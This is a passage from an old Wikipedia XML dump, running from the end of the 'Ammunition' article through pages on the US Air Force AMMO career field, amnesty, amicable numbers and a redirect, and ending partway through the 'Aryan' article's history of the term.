The tank made horse mounted cavalry obsolete and while an infantryman could deal with a horse-borne enemy new weapons were needed to damage a tank or other vehicle or penetrate and wound the crew. The first anti-tank weapons given to infantry were based on small arms, for example the [[anti-tank rifle]]. As even the lighter designs of tank carried more armour the limit of a man-portable rifle that could fire a round with sufficient kinetic energy to penetrate the armour was reached. The introduction of the [[shaped charge]] warhead gave the infantry a weapon that used chemical energy rather than kinetic to beat the armour and in a focussed way which made them more effective than large grenades. When propelled by a rocket, the shaped charge gained range as well. Weapons such as the Bazooka or Panzerfaust were never small but they were suitable for infantry use - though they often had to be used at close range where they could be aimed accurately at the vehicles weak points. Post World War 2, the advent of the missile delivered both great range and accuracy and provided infantry with a weapon that could reliably destroy the heaviest tanks at long distances.

=== Anti-aircraft ===
Today's infantryman can deploy sophisticated multi-spectral man-portable surface-to-air missiles equipped with the ability to reject decoys and defeat counter-measures. In Somalia it was demonstrated that slow moving/stationary aircraft at low altitudes could be defeated with unguided anti-armour infantry weapons. It is also true that aircraft are relatively delicate machines, filled with highly flammable fuel, and since their first usage in World War I a plane can be brought down by single bullet striking something vital. The main weaknesses of ammunition provided to infantry to deal with aircraft are limited range and small warheads, both due to the necessity that such weapons remain portable by men on foot. The premier SAM for infantry is the FIM-92 Stinger MANPADS (Man Portable Air Defence System), provided as an all-up round in a canister it is attached to a launcher unit and is ready to expend. Numerous other missiles in this class exist from different nations of origin. Infantry machine guns and rifles may improve their ability against aircraft by utilising tracer ammunition, to allow the aimer to better gauge the lead aim necessary to strike his target. Weapons developed primarily for anti-tank roles can add proximity fusing to increase the probability of a kill by having the warhead detonate nearby the target with having to make contact.

==Large weapon ammunition==
See Main article, [[Shell (projectile)]], for information on the various types of shell and shot.

Modern artillery ammunition is generally of two types: separate loading and semi-fixed.  Semi-fixed ammunition (rounds) appear in the form of a [[projectile]] mated with a cartridge case which contains  the [[propellant]] and they resemble small arms rounds.

The canister is outfitted with a primer on its base which fires upon contact from the firing pin. [[Gunpowder]], precision machined to burn evenly, is contained inside of cloth bags that are numbered. US/NATO 105mm howitzers use semi-fixed ammunition, containing seven powder bags referred to as increments or charges. Putting the powder in bags allows the howitzer crew to remove the increments when firing at closer targets. The unused increments are disposed of by burning in a powder pit at a safe distance from the guns.

Above a certain size, semi-fixed rounds are impracticable; the weight of the whole assembly is either too much to be carried effectively. In this case separate loading ammunition is used: the projectile and propelling charge are supplied and loaded separately. The projectile is rammed home in the chamber, the powder charge(s) are loaded (usually by hand), then the breech is closed and the primer is inserted into the primer holder on the back the breech.  Separate loading ammunition is typically used on 155mm and larger howitzers. Several propellant types are available for 155mm howitzer.

All normal projectiles arrive at the weapon with a plug in the [[Fuse (explosives)|fuze]] well on the nose of the projectile. Using a special fuze wrench, the plug is unscrewed and a fuze is screwed in. The decision as to which type of fuze to use is made by the fire direction center and carried out by the gun crew.

The armaments fitted to early tanks were contemporary field or naval artillery pieces and used the same ammunition. When tank versus tank combat became more important, the trend became that anti-aircraft artillery pieces (designed to fire high velocity shells to altitude) were often adapted to tank use where a gun specifically made for the vehicle was not available. equally as the armour applied to tanks increased, ammunition for tank use paralleled that of anti-tank guns. 
Current tank gun ammunition is a single fixed round (&quot;shell&quot; and charge combined in a single piece) for quick load, the charge is in a combustible case - so there is no empty cartridge to be removed and stored in the turret and the &quot;shell&quot; is a saboted shot, a shaped charge or sensor fuzed warhead.

== Naval ammunition ==
The ranges at which engagements are conducted by warships are typically much greater than that at which land warfare is observed. The targets are also generally machines, not men. Naval ammunition is therefore optimized for great velocity (to reach those great ranges, to hit aircraft flying at altitude and also with the benefit of reducing the lead that has to be applied to hit a distant moving target) and to disable said machines, rather than rending human flesh. Naval gun ammunition of WWII vintage came in two main varieties, armour piercing shells to attack hardened warships or [[high explosive incendiary]] shells (with point detonating fuzes to start fires on ships, or mechanical time fuzes designed to fragment and create clouds of shrapnel to defeat aircraft). With the demise of the armoured warship, contemporary naval gun ammunition is solely the high explosive variety, but new fuzing and guidance options are available to increase lethality, especially against high speed missile or aircraft threats.

== Fuzes==
Common artillery fuzes include point detonating, delay, time, and [[Proximity fuze | proximity (variable time)]]. Point detonating fuzes detonate upon contact with the ground. Delay fuzes are designed to penetrate a short distance before detonating. Time fuzes, as the name implies, detonate a certain time after being fired in order to achieve an air burst above the target. Time fuzes are set to the tenth of a second. [[Proximity fuze | Proximity or variable time fuzes]] contain a simple radio [[transceiver]] activated a set time after firing to detonate the projectile when the signal reflected from the ground reaches a certain strength, designed to be 7 meters above the ground. Fuzes are armed by the rotation of the projectile imparted by the rifling in the tube, and usually arm after a few hundred rotations.

==See also==
* [[List of rifle cartridges]]
* [[List of handgun cartridges]]
* [[Ammunition column]]
* [[Reloading]]
* [[Rotation of ammunition]]
* [[Armor-piercing shot and shell]]
* [[Teflon coated bullet]]
* [[Hollow point bullet]]
* [[Full metal jacket bullet]]
* [[Dum dum]]
* [[Explosive]]
* [[High Explosive Incendiary]]
* [[Ammo dump]]
* [[Tracer ammunition]]
* [[Fuze for ammunition]]
* [[Proximity fuze]]
* [[Tubes and primers for ammunition]]
* [[Bullet]]
* [[Cartridge (firearms)]]
* [[Howitzer]]
* [[Shell (projectile)]]
* [[Hatton round]]

==References==
*{{1911}}

{{commons|Ammunition}}

{{Technology-footer}}

[[Category:Ammunition]]
[[Category:Explosives]]
[[Category:Military equipment]]

[[de:Munition]]
[[es:Munición]]
[[fr:Munition]]
[[he:תחמושת]]
[[no:Ammunisjon]]
[[pl:Amunicja]]
[[sv:Ammunition]]</text>
    </revision>
  </page>
  <page>
    <title>AMMO (US Air Force)</title>
    <id>3257</id>
    <revision>
      <id>38827631</id>
      <timestamp>2006-02-08T22:26:06Z</timestamp>
      <contributor>
        <username>Xerocs</username>
        <id>757355</id>
      </contributor>
      <minor />
      <comment>added AMMO duty base</comment>
      <text xml:space="preserve">:''Ammo is also a commonly used abbreviation for [[ammunition]].''
__NOTOC__
In the [[U.S. Air Force]], '''AMMO''' is the common [[nickname]] for the Munitions Systems Specialist career field, (AFSC 2W0X1, previously 461X0.) 

AMMO is responsible for maintaining the Air Force's entire munitions [[stockpile]]. Various duties include shipping and receiving, building, testing, operating, protecting, inspecting, storing and performing maintenance on all types of munition systems, both conventional and [[nuclear weapon|nuclear]]. AMMO troops can also expect to learn to operate and maintain a wide variety of equipment and electronic gear, from 40 foot tractor-trailer combination vehicles and all terrain 10,000 pound forklifts, to small arms weapons, to [[AGM-65]] guidance testing units and computer databases. AMMO troops often work daily with many versions of [[F-4]], [[F-15]], [[F-16]], [[F-22]], [[F-117]], [[B-1 Lancer|B-1]], [[B-2 Spirit|B-2]], [[B-52 Stratofortress|B-52]], [[A-10]], and [[AC-130]] aircraft, along with rarer opportunities to support aircraft from sister services, such as the [[A-6]], [[F-14]], [[F-18]] and [[AV-8]], and even aircraft from other nations. 

Once a new recruit graduates from Air Force Basic Military Training at [[Lackland Air Force Base]], [[San Antonio, Texas|San Antonio]], [[Texas]], he or she is initiated into the world of AMMO during a 9 week school at [[Sheppard Air Force Base]], also in Texas. Upon graduation from tech school, the new AMMO troop either ships to his or her first assignment, or, if their first assignment is overseas, they can opt to take around two weeks of leave before shipping overseas.

Being AMMO is like being in a world separated from the rest of the Air Force. Due to security and obvious safety concerns with the possibility of millions of pounds of explosives accidentally [[cooking off]] and damaging a large portion of a base's facilities, the bomb dump is usually well isolated from the rest of base. At some bases, such as Andersen AFB in [[Guam]], the ride to work can take as long as twenty minutes, compared to a 4 or 5 minute commute for people in most other career fields.

Such isolation, as well as the fact that many people don't realize the extreme danger an AMMO troop faces at work every day while working with tons of [[explosives]], has allowed AMMO to attain its dubious reputation of being the Air Force's hardest drinking, wildest, and most mischievous bunch. Working out of sight often means being out of mind, and this has lead to things often getting done &quot;the AMMO way&quot;, versus &quot;the Air Force way&quot;. The isolation and dangerous work environment have created a tight bond amongst AMMO troops, and led to the infamous &quot;If You Ain't Ammo, You Ain't Shit!&quot; ([[IYAAYAS]]) attitude. The &quot;black sheep&quot; label given AMMO is worn with pride.

While AMMO troops can expect to perform a wide range of daily duties, they can also look forward to being stationed at an equally broad range of bases.  

The wide range of daily duties stems from the fact of AMMO having nine separate and distinct working areas within the career field.  

These are:

Equipment Maintenance - &quot;Trailer Shop&quot; - the hub of all maintenance on the job-specific trailer equipment that is unique to AMMO, such as the MHU-141 and the MHU-110. 

PGM - Precision Guided Munitions, or &quot;Missile Shop&quot; - fairly self-explanatory; maintenance of missiles and guided bomb packages. 

Flightline Delivery - &quot;Line-D&quot;, or &quot;Line Swine&quot; when referencing personnel (ex. &quot;That jet needs AMMO - call the line swine.&quot;)  Line-D drivers are dispatched by Munitions Control (see below) and are responsible for the safe and expedient handling and delivery of munitions to aircraft.  Drivers are also held responsible for the accounting of their movements and their transactions via radio and paper logs.

Conventional Maintenance - Simply called &quot;Conventional&quot;, this office works the unguided side of AMMO, dealing with everything that their base's aircraft can carry, from chaff and flares to cannon ammunition and regular unguided &quot;dumb bombs&quot;.

Munitions Control - The nerve center.  Nothing happens without the controllers knowing since they are the office that dispatches workorders to all other areas.  Supervision relies heavily on good controllers to give them quick, efficient reports of what's happening.  Controllers tend to be more senior AMMO troops and have diverse backgrounds in AMMO.

Storage and Handling - Works closely with Inspection and Conventional to deliver large quantities of raw materials for both inspections and bomb build excercises.  Storage troops will often be found driving 18-wheel tractor trailers and forklifts, ranging in capacity from 2 to 25 tons, transporting various munitions items for the respective clientele.

Inspection - All munitions items at various times need to be inspected for safety and compliance with technical instructions.  Specialized NCOs called Munitions Inspectors accomplish this.  Inspectors attend an Inspector school, which lasts approximately 3 weeks and most times is conducted at the AMMO Schoolhouse, located at Sheppard AFB, Texas.

CAS/AFK - Sometimes labeled as separate areas, CAS stands for Combat Ammunition System.  CAS troops perform inventories, keep storage plans, and update movements of munitions within the storage area.  In layman's terms, they are accountants for explosives.  Sometimes derisively referred to as &quot;CAS-holes&quot;.

There are positions for AMMO troops at more bases worldwide than airman in most other career fields in the Air Force.

==Duty stations== 
Duty stations include, but are not limited to:

===United States===
* [[Andersen AFB]], [[Guam]]; 
* [[Barksdale AFB]], [[Louisiana]]; 
* [[Beale AFB]], [[California]]; 
* [[Bolling AFB]], [[Washington, DC]]; 
* [[Dyess AFB]], [[Texas]]
* [[Edwards AFB]], California; 
* [[Eglin AFB]], [[Florida]]; 
* [[Elmendorf AFB]], [[Alaska]]; 
* [[Ellsworth AFB]], South Dakota;
* [[Eielson AFB]], Alaska; 
* [[Fairchild AFB]], [[Washington]]; 
* [[F.E. Warren AFB]], [[Wyoming]]; 
* [[Hickam AFB]], [[Hawaii]]; 
* [[Hill AFB]], [[Utah]]; 
* [[Keesler AFB]], [[Mississippi]]; 
* [[Lackland AFB]], Texas; 
* [[Little Rock AFB]], [[Arkansas]]; 
* [[Malmstrom AFB]], [[Montana]]; 
* [[McChord AFB]], Washington; 
* [[Mountain Home AFB]], [[Idaho]]; 
* [[Minot AFB]], [[North Dakota]]; 
* [[Moody AFB]], [[Georgia (U.S. state)|Georgia]]; 
* [[Nellis AFB]], [[Nevada]]; 
* [[Offutt AFB]], [[Nebraska]]; 
* [[Pope AFB]], [[North Carolina]]; 
* [[Seymour Johnson AFB]], North Carolina; 
* [[Shaw AFB]], [[South Carolina]]; 
* [[Sheppard Air Force Base]], Texas; 
* [[Travis AFB]], California; 
* [[Tyndall AFB]], Florida; 
* [[Whiteman AFB]], [[Missouri]]; 
* [[Wright-Patterson AFB]], [[Ohio]];

===Asia===
* Kunsan AB, South Korea; 
* Kadena AB, Japan (18 MUNS Pirate Country); 
* Misawa AB, Japan; 
* Osan AB, South Korea; 
* Yakota AB, Japan.

===Middle east===
* Al Karj, Saudi Arabia;
* Al Udeid, Qatar

===Europe===
* [[Araxos]], [[Greece]]; 
* [[Aviano| Aviano AB]], [[Italy]]; 
* [[Incirlik]], [[Turkey]]; 
* [[Naval Air Station Keflavik]], [[Iceland]]; 
* [[Ramstein AB]], [[Germany]]; 
* [[RAF Lakenheath]], [[England]]; 
* [[RAF Mildenhall]], England; 
* [[Rhein-Main AB]], [[Germany]]; 
* [[Spangdahlem Air Base]], Germany;

==External links==
* http://groups.myspace.com/index.cfm?fuseaction=groups.groupProfile&amp;groupID=100021174&amp;Mytoken=CA7A498D-1124-5F68-96D15AC13B79E95310873611
* http://www.ammotroops.com
* http://www.usafammo.com
[[Category:United States Air Force]][[Category:Ammunition]]</text>
    </revision>
  </page>
  <page>
    <title>Amnesty</title>
    <id>3258</id>
    <revision>
      <id>42075948</id>
      <timestamp>2006-03-03T17:35:17Z</timestamp>
      <contributor>
        <username>Haham hanuka</username>
        <id>111674</id>
      </contributor>
      <minor />
      <comment>interwiki</comment>
      <text xml:space="preserve">:''For the human rights organization, see [[Amnesty International]].''

'''Amnesty''' (from the [[Greek language|Greek]] ''amnestia'', oblivion) is an act of justice by which the supreme power in a state restores those who may have been guilty of any offence against it to the position of innocent persons.  It includes more than [[pardon]], in as much as it obliterates all legal remembrance of the offence.

Amnesties, which, in the [[United Kingdom]], may be granted by the crown alone, or by act of [[British Parliament|Parliament]], were formerly usual on coronations and similar occasions, but are chiefly exercised towards associations of political criminals, and are sometimes granted absolutely, though more frequently there are certain specified exceptions.  Thus, in the case of the earliest recorded amnesty, that of [[Thrasybulus]] at [[Athens]], the thirty tyrants and a few others were expressly excluded from its operation; and the amnesty proclaimed on the restoration of [[Charles II of England]] did not extend to those who had taken part in the execution of his father.  Other celebrated amnesties are that proclaimed by [[Napoleon]] on [[March 13]], [[1815]], from which thirteen eminent persons, including [[Talleyrand]], were excepted; the [[Prussia|Prussian]] amnesty of [[August 10]], [[1840]]; the general amnesty proclaimed by the emperor [[Franz Josef I of Austria]] in [[1857]]; the general amnesty granted by [[President of the United States]] [[Andrew Johnson]] after the [[American Civil War]] in [[1868]]; and the French amnesty of [[1905]].  The last act of amnesty passed in [[Great Britain]] was that of [[1747]], which proclaimed a pardon to those who had taken part in the '45 [[Jacobite Rising]].

==Related uses of the term==

* '''Amnesty''' is sometimes now the term used to denote cases of pardon by a country where offenses are not stricken from the record and individuals proclaimed innocent. Instead, those individuals receive some lesser sentence in response to an admission of guilt.

* The term '''amnesty''' is also used to describe any initiative where individuals are encouraged to turn over illicit items to the authorities, on the understanding that they will not be prosecuted for having been in possession of those items. A common use of such amnesties, is to reduce the number of firearms or other weapons in circulation.

* '''Amnesty''', when used in the context of [[immigration]], is a law or regulation which allows [[illegal immigrant]]s to obtain legal residency.  Amnesties can be created by a number of mechanisms, whether by executive order, or statute passed by the legislature.  The amnesty need not be called &quot;amnesty&quot; to have the effect.

==References==
*{{1911}}

[[bg:Амнистия]]
[[da:Amnesti]]
[[es:Amnistía]]
[[eo:amnestio]]
[[de:Amnestie]]
[[fr:Amnistie]]
[[he:חנינה]]
[[it:Amnistia]]
[[pl:Amnestia]]
[[pt:Anestia]]
[[ru:Амнистия]]
[[nl:Gratie]]
[[zh:特赦令]]</text>
    </revision>
  </page>
  <page>
    <title>Amicable number</title>
    <id>3259</id>
    <revision>
      <id>29626147</id>
      <timestamp>2005-11-29T21:24:29Z</timestamp>
      <contributor>
        <ip>203.200.95.130</ip>
      </contributor>
      <text xml:space="preserve">'''Amicable numbers''' are two [[number]]s so related that the [[addition|sum]] of the proper [[divisor]]s of the one is equal to the other, [[1 (number)|unity]] being considered as a proper divisor but not the number itself. Such a pair is ([[Two hundred twenty|220]], [[Two hundred eighty-four|284]]); for the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110, of which the sum is 284; and the proper divisors of 284 are 1, 2, 4, 71, and 142, of which the sum is 220. Amicable numbers were known to the [[Pythagoreans]], who accredited them with many mystical properties.

A pair of amicable numbers constitutes an [[aliquot sequence]] of [[Periodic function#Periodic sequences|period]] [[2 (number)|2]].

A general formula by which these numbers could be derived was invented circa [[850]] by [[Thabit ibn Qurra]] ([[826]]-[[901]]): if 
:''p'' = 3&amp;nbsp;&amp;times;&amp;nbsp;2&lt;sup&gt;''n''-1&lt;/sup&gt;&amp;nbsp;&lt;tt&gt;-&lt;/tt&gt;&amp;nbsp;1, 
:''q'' = 3&amp;nbsp;&amp;times;&amp;nbsp;2&lt;sup&gt;''n''&lt;/sup&gt;&amp;nbsp;&lt;tt&gt;-&lt;/tt&gt;&amp;nbsp;1,
:''r'' = 9&amp;nbsp;&amp;times;&amp;nbsp;2&lt;sup&gt;2''n''-1&lt;/sup&gt;&amp;nbsp;&lt;tt&gt;-&lt;/tt&gt;&amp;nbsp;1, 
where ''n'' &gt; 1 is an [[integer]] and ''p'', ''q'', and ''r'' are [[prime number]]s, then 2''&lt;sup&gt;n&lt;/sup&gt;pq'' and 2''&lt;sup&gt;n&lt;/sup&gt;r'' are a pair of amicable numbers. This formula gives the amicable pair (220, 284), as well as the pair (17,296, 18,416) and the pair (9,363,584, 9,437,056). The pair (6232, 6368) are amicable, but they cannot be derived from this formula. In fact, this formula produces amicable numbers for ''n'' = 2, 4, and 7, but for no other values below 20,000.

In every known case, the numbers of a pair are either both [[even]] or both [[odd]], though there is no known reason why an even-odd pair could not exist. Also, every known pair shares at least one common [[factor]]. It is not known whether a pair of [[coprime]] amicable numbers exist, though if they do, their [[Product (mathematics)|product]] must be greater than 10&lt;sup&gt;67&lt;/sup&gt;. Also, a pair of coprime amicable numbers cannot be generated by Thabit's formula (above), nor by any similar formula. 

Amicable numbers have been studied by [[Al Madshritti]] (died [[1007]]), Abu Mansur Tahir [[al-Baghdadi]] ([[980]]-[[1037]]), [[René Descartes]] ([[1596]]-[[1650]]), to whom the formula of Thabit is sometimes ascribed, C. Rudolphus and others. Thabit's formula was generalized by [[Leonhard Euler|Euler]]. 

If a number equals the sum of ''its own'' proper divisors, it is called a [[perfect number]].

== See also ==
*[[Sociable number]]s

== External links ==
*[http://amicable.homepage.dk/knwnc2.htm  All known amicable numbers]

[[Category:Number theory]]

{{Link FA|zh}}

[[ca:Nombres amics]]
[[da:Venskabstal]]
[[de:Befreundete Zahl]]
[[es:Números amigos]]
[[fr:Nombres amicaux]]
[[is:Vingjarnlegar tölur]]
[[it:Numeri amicabili]]
[[he:מספרים ידידותיים]]
[[la:Numeri amicabiles]]
[[hu:Barátságos számok]]
[[nl:Bevriende getallen]]
[[ja:友愛数]]
[[pl:Liczby zaprzyjaźnione]]
[[ru:Дружественные числа]]
[[sl:Prijateljsko število]]
[[sv:Vänskapliga tal]]
[[zh:相亲数]]</text>
    </revision>
  </page>
  <page>
    <title>America Islands</title>
    <id>3260</id>
    <revision>
      <id>15901619</id>
      <timestamp>2002-11-04T16:50:10Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>Line Islands are south of Hawaii; America Islands are south of the Sandwich Islands</comment>
      <text xml:space="preserve">#redirect [[Line Islands]]</text>
    </revision>
  </page>
  <page>
    <title>Aryan</title>
    <id>3261</id>
    <revision>
      <id>42145909</id>
      <timestamp>2006-03-04T03:03:37Z</timestamp>
      <contributor>
        <username>SouthernComfort</username>
        <id>200195</id>
      </contributor>
      <comment>/* Iranian */ fix link</comment>
      <text xml:space="preserve">:''For the [[Bollywood]] movie called Aryan, see [[Aryan (movie)]].''

'''Aryan''' is an [[English language|English]] word derived from the [[Indian languages|Indian]] [[Vedic Sanskrit]] and [[Iranian languages|Iranian]] [[Avestan]] terms ''ari-'', ''arya-'', ''ārya-'', and/or the extended form ''aryāna-''. The [[Sanskrit]] and [[Old Persian]] languages both pronounced the word as ''arya-''. Beyond its use as the ethnic self-designation of the [[Proto-Indo-Iranian]]s, the meaning ''&quot;noble&quot;'' has been attached to it in  [[Sanskrit]] and [[Persian language|Persian]].

== Etymology ==
Indo-Iranian ''arya-'' descends from [[PIE]] {{PIE|*ar-yo-}}, a ''yo-''adjective to a root {{PIE|*ar}} &quot;to assemble skillfully&quot;, present in Greek ''harma'' &quot;chariot&quot;, Latin ''ars'' &quot;art&quot; etc.

In later times &quot;Arya&quot; referred to Indo-Iranian holy Kings and holy warriors [[raja]], [[kshatriya]] or [[Shah]] and thus &quot;nobles&quot; or of the &quot;nobility&quot; the protectors of [[Dharma]]. 

In the Rig Veda: 1:51

8 Discern thou well Aryas and [[Dasyu]]s;

9 Indra gives up the lawless to the devout man, destroying by the Strong Ones those who have no strength.

Here it tells us to discern the true Aryan, the Aryan is a devout man who follows the Aryan holy laws and so is victorious. The Dasyu is akin to the &quot;unbeliever&quot; and undevout.

The important Sanskrit lexicon [[Amarakosha]] (c. 450) defines ''[[Arya]]'' as:  &quot;An Arya is one who hails from a noble family, of gentle behavior and demeanor, good-natured and of righteous conduct. (''महाकुल कुलीनार्य सभ्य सज्जन साधवः'')&quot; However it does earlier seem to have been used to identify certain populations in distinction from others, in particular those clans who accepted proto-[[Vedic religion|Vedic]] and proto-[[Zoroastrian]] beliefs.

==Origins==
By the first half of the [[2nd millennium BC]], [[Indo-Aryans]] are believed to have arrived on the Iranian plateau and the Indian subcontinent (see [[Indo-Aryan migration]]). Indeed, the term Iran – in full ''Iran Shahr'' – is the modern outcome of an ancient ''Aryānām Xšaθra-'' meaning &quot;realm of the Aryans.&quot; Similarly, Northern India was referred to as [[Aryavarta]] in ancient times. The Aryan, or [[Indo-Iranian]] group of languages is divided into three branches: Indo-Aryan, Nuristani, and Iranian. In [[Middle Persian]], we find the term &quot;Aryāna-&quot; as &quot;Ērān&quot; and in [[Modern Persian]] as &quot;Īrān.&quot;  
However, there is much speculation as to origins of the Aryans as the land they supposedly entered first [[Indus Valley Civilization]] and their scripts remain undeciphered.

===Aryans: Religious Initiates===
The Hindu usage of the term &quot;Aryan&quot; has its roots in a tribe of people who received initiation of the [[Navjote]] in [[Zoroastrianism]] or [[Vedic]] [[upanayanam]]. In Vedic Hinduism the [[Brahmin]], [[Kshatriya]], [[Vaishya]]s who recieved this initiation were also called 'Aryan.' This allowed them to attain ''spiritual perfection'' and self mastery. When an Aryan was called &quot;pure&quot;, it meant spiritual purity.

In the Vedic religion, those who no longer received this initiation from Brahmin priests were considered &quot;fallen&quot; and were no longer considered &quot;Aryan&quot;. This led to various movements like [[Buddhism]] and [[Jainism]] whose converts were also called 'Aryan' due to their purification rites through practice of meditation, self control and acts of virtue.

Collectively modern [[Hinduism]], [[Zoroastrianism]], [[Buddhism]] and [[Jainism]] are sometimes termed ''Aryan religions'', as conversion and initiation into them allows one to become Aryan or Noble.

===Uncertain Linguistic Derivations===

The adjective ''*aryo-'' was suggested as ascending to Proto-Indo-European as the self-designation of the speakers of Proto-Indo-European itself, and ''[[Éire]]'', the Irish name of [[Ireland]], was considered a cognate. It was also suggested that the Greek word &quot;aristos&quot;, as in &quot;[[aristocracy]]&quot; and other words such as &quot;[[heir]]&quot; and &quot;ehre&quot; (German for &quot;honour&quot;) were related to it, but these are now widely regarded as untenable, and while ''{{PIE|*ar-yo-}}'' is certainly a well-formed PIE adjective, there is no evidence that it was used as an ethnic self-designation outside the Indo-Iranian branch. In the 1850s [[Max Müller]] theorized that the word originated as a denotation of farming populations, since he thought it likely that it was related to the root {{PIE|*arh&lt;sub&gt;3&lt;/sub&gt;}}, meaning &quot;to plough&quot;. Other 19th century writers, such as Charles Morris, repeated this idea, linking the expansion of PIE speakers to the spread of agriculturalists. Most linguists now consider {{PIE|*arh&lt;sub&gt;3&lt;/sub&gt;}} to be unrelated.

==Indo-Iranian==
''Main article: [[Indo-Iranians]].''

The most probable date for Proto-Indo-Iranian unity is roughly around [[2500 BC]]. In this sense of the word ''Aryan'', the Aryans were an ancient culture preceding both the Vedic and Iranian cultures.  Candidates for an archaeological identification of this culture are the [[Andronovo]] and/or [[Srubnaya]] Archaeological Complexes.    

===Indo-Aryan===
''See also [[Arya]], [[Indo-Aryans]], [[Indo-Aryan languages]], [[Indo-Aryan migration]], [[Aryan invasion theory]].''

There is evidence of speakers of Indo-Aryan in [[Mesopotamia]] around [[1500s BC|1500 BC]] in the form of loanwords in the [[Mitanni]] dialect of Hurrian, the speakers of which, it is speculated, may have once had an Indo-Aryan ruling class. The Indo-Aryans inhabiting northern India, the bearers of the [[Vedic civilization]] are sometimes called [[Vedic Aryans]]. 

Contemporary speakers of Indo-Aryan languages are spread over most of the northern [[Indian Subcontinent]]. The only Indo-Aryan branch surviving outside the Indian Subcontinent and the [[Himalayas]] is the [[Romani]] language, the language of the [[Roma people]].

===Iranian===
''See also [[Iranian peoples]], [[Iranian languages]], [[Achaemenid dynasty]]

Since ancient times, [[Persian people|Persians]] (Iranians) used the term ''Aryan'' to describe their lineage and their [[language]], and this [[tradition]] has continued into the present day amongst [[Modern world|modern]] [[Iran]]ians. In fact, the name Iran is a cognate of Aryan and means ''&quot;Land of the Aryans.&quot;'' &lt;ref&gt;http://www.bartleby.com/61/99/A0449900.html&lt;/ref&gt; &lt;ref&gt;http://www.nvtc.gov/lotw/months/february/indoIranianBranch.html&lt;/ref&gt; &lt;ref&gt;http://imp.lss.wisc.edu/~aoliai/languagepage/iranianlanguages.htm&lt;/ref&gt;

[[Darius the Great]], King of [[Persian Empire|Persia]] ([[521 BC|521]]–[[486 BC]]), in an inscription in [[Naksh-i Rustam]] (near [[Shiraz, Iran|Shiraz]] in present-day [[Iran]]), proclaims: ''&quot;I am [[Darius]] the great King… A [[Persia]]n, son of a Persian, an Aryan, having Aryan lineage...&quot;''. He also calls his language the &quot;Aryan language,&quot; commonly known today as [[Old Persian language|Old Persian]].

The word has become a [[term of art|technical term]] in the [[theology|theologies]] of [[Zoroastrianism]], but has always been used by [[Iran]]ians in the ethnic sense as well.  In 1967, Iran's [[Pahlavi]] [[dynasty]] added the title [[Āryāmehr]] ''&quot;Light of the Aryans&quot;'' to those of the [[monarch]], known at the time as the [[Shah|Shahanshah]] (''King of Kings'').

The term remains also a frequent element in modern Persian personal names, including ''Arya'' (a boy's name), ''Aryana'' (a common surname), ''Iran-dokht'' (Aryan daughter), ''Aryanpur'' (or ''Aryanpour''), ''Aryaramne'', among many others.

==Linguistic Terminology==

During the [[19th century]], following [[Max Müller]]'s '[[Aryan invasion theory]]', the term gained an added meaning, being used in the West to refer to what are now called the '[[Proto-Indo-Europeans]]', and, by extension, to the [[Indo-European studies|Indo-European speaking peoples]] as a whole. In linguistics, the term ''Aryan'' currently refers only to the [[Indo-Iranian]] language sub-family.

The [[Proto-Indo-Iranian]] language evolved into the family of [[Indo-Iranian languages]], of which the oldest-known members are [[Avestan]], [[Vedic language|Vedic]], and another Indo-Aryan language, known only from loan-words found in the [[Mitanni]] language.

To prevent confusion because of its several meanings, the term is often avoided today in the Western World. It has been replaced by the well-defined ''Proto-Indo-European'', ''Proto-Indo-Iranian'', ''Indo-Iranian'', ''Iranian'' or ''Indo-Aryan'' terms. 

==Proto-Indo-European==

[[Max Müller]] and other [[19th century]] linguists (see also [[Indo-European studies]]) theorised that the term ''*arya'' was used as the self-description of the [[Proto-Indo-Europeans]].

The nomadic Iranians of the north western steppes, however, especially those settled in Europe, are extensively covered by the classical writers; they are also attested in a very large number of archaeological excavations in Eastern Europe; these Iranian peoples are known in the West as Cimmerians, Scythians, Sarmatians, Alans, and finally Ossets; it must be emphasised that all these names refer to the successive migratory waves of the same people, who probably called themselves by a name derived from the word Airya, as the Alans did, and the Ossets still do.

==Indo-European==

In the 19th century the term &quot;Aryan&quot; was used as shorthand for &quot;Indo-European&quot;, even though many of the writers who adopted this usage accepted that it was not strictly accurate, given that the term was unattested in western branches of the languages. Because of [[ethnolinguistics|ethnolinguistic]] arguments about connections between peoples and cultural values, &quot;Aryan&quot; peoples were often considered to be distinct from [[Semitic]] peoples. By the end of the nineteenth century this usage was so common that &quot;Aryan&quot; was often used as a [[synonym]] for &quot;[[gentile]]&quot;. This usage was particularly common in Germany. Among [[White supremacists]] the term still sometimes functions as a synonym for non-Jewish &quot;white person&quot;.

==Racist connotations==
{{main|Aryan race}}

The '''Aryan race''' was a term used in the nineteenth century by European racial theorists who believed strongly in the division of humanity into biologically distinct races with differing characteristics. Such writers took the view that the Proto-Indo-Europeans consituted a specific race that had expanded across Europe, Iran and India. This meaning was, and still is, common in theories of racial superiority which were embraced by [[Nazi]] Germany. This usage tends to merge the Avestan/Sanskrit meaning of &quot;noble&quot; or &quot;elevated&quot; with the idea of distinctive ancestral ethnicity marked by language distribution. In this interpretation, the Aryan Race is ''both'' the highest representative of mankind and the purest descendent of the Proto-Indo-European population.

From the 1880s a number of writers had argued that the Proto-Indo-Europeans had been of &quot;Nordic&quot; race. This idea was taken up by the Nazis. According to [[Alfred Rosenberg]]'s ideology the &quot;[[Nordic theory|Aryan-Nordic&quot;]] (''arisch-nordisch'') or &quot;Nordic-Atlantean&quot; (''nordisch-atlantisch'') race was thus a [[master race]], at the top of a racial hierarchy, pitted against a &quot;[[Jewish]]-[[Semitic]]&quot; (''jüdisch-semitisch'') race, deemed to be a racial threat to Germany's homogeneous Aryan civilization, thus rationalizing Nazi [[Antisemitism|anti-Semitism]]. Nazism portrayed their interpretation of an &quot;Aryan race&quot; as the only race capable of, or with an interest in, creating and maintaining culture and civilizations, while other races are merely capable of conversion, or destruction of culture. These arguments derived from late nineteenth century racial hierarchies. Some Nazis were also influenced by [[Helena Petrovna Blavatsky]]'s ''[[The Secret Doctrine]]'' ([[1888]]) where she postulates &quot;Aryans&quot; as the fifth of her &quot;[[Root Race]]s&quot;, dating them to about a million years ago, tracing them to [[Atlantis]], an idea also repeated by Rosenberg, and held as doctrine by the [[Thule Society]]. Such theories were used to justify the introduction of the so-called [[Nuremberg laws|&quot;Aryan laws&quot;]] by the Nazis, depriving &quot;non-Aryans&quot; of citizenship and employment rights, and prohibiting marriage between Aryans and non-Aryans. Though [[Mussolini]]'s [[fascism]] was not originally characterised by explicit anti-Semitism, he too eventually introduced laws 